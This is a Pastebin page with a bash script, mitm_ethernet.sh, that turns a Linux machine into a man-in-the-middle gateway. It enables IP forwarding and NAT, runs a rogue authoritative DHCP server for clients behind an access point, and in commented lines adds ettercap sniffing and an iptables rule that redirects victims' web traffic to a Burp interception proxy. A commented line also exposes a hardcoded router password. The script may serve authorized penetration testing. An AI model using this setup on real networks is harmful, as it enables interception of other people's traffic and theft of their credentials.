Advertisement
opexxx

mitm_ethernet.sh

Feb 23rd, 2014
245
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Bash 1.89 KB | None | 0 0
  1. #!/bin/bash
  2.  
  3. echo "PRE-REQUISITES"
  4. echo "=============="
  5. echo "- External interface configured and communicating."
  6. echo "- Connection between internal interface <-> WAP LAN port. WAP must have DHCP DISABLED."
  7. echo " "
  8.  
  9. LOGDIR="$(date +%F-%H%M)"
  10. mkdir $LOGDIR
  11. cd $LOGDIR
  12.  
  13. # get var from user
  14. ifconfig | grep 'Link\|addr'
  15. echo -n "Enter the name of the internal interface: "
  16. read -e IFACE
  17.  
  18. # set up interfaces, routing and iptables
  19. ifconfig $IFACE down
  20. ifconfig $IFACE 192.168.3.1 netmask 255.255.255.0 up
  21. echo "1" > /proc/sys/net/ipv4/ip_forward
  22. route add -net 192.168.3.0 netmask 255.255.255.0 gw 192.168.3.1
  23. iptables -t nat -A POSTROUTING -j MASQUERADE
  24. #firefox http://root:lime5463@192.168.3.2:8080/DHCPTable.htm &
  25.  
  26. # start DHCP server
  27. echo "Creating a dhcpd.conf to assign addresses to clients that connect to us"
  28. echo "default-lease-time 600;" > dhcpd.conf
  29. echo "max-lease-time 720;"  >> dhcpd.conf
  30. echo "ddns-update-style none;" >> dhcpd.conf
  31. echo "authoritative;"  >> dhcpd.conf
  32. echo "log-facility local7;"  >> dhcpd.conf
  33. echo "subnet 192.168.3.0 netmask 255.255.255.0 {"  >> dhcpd.conf
  34. echo "range 192.168.3.100 192.168.3.150;"  >> dhcpd.conf
  35. echo "option routers 192.168.3.1;"  >> dhcpd.conf
  36. echo "option domain-name-servers 8.8.8.8;"  >> dhcpd.conf
  37. echo "}"  >> dhcpd.conf
  38. echo 'DHCP server starting on our airdrop-ng interface (at0)'
  39. dhcpd3 -q -cf dhcpd.conf -pf /var/run/dhcp3-server/dhcpd.pid $IFACE &
  40. echo "Launching DMESG"
  41. xterm -bg black -fg red -T "System Logs" -e tail -f /var/log/messages &
  42.  
  43. # ettercap notes
  44. # must re-enable ip forwarding (echo "1" > ...) after ettercap starts
  45. #ettercap -T -q -p -l ettercap.log -i $IFACE // // &
  46. #echo "1" > /proc/sys/net/ipv4/ip_forward
  47.  
  48. # burp notes
  49. # disable "loopback only" and enable "invisible proxy"
  50. #iptables -A PREROUTING -t nat -s 192.168.3.2 -p tcp -m multiport --dport 80,443 -j DNAT --to 192.168.3.1:8080
  51.  
  52. echo "Done."
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement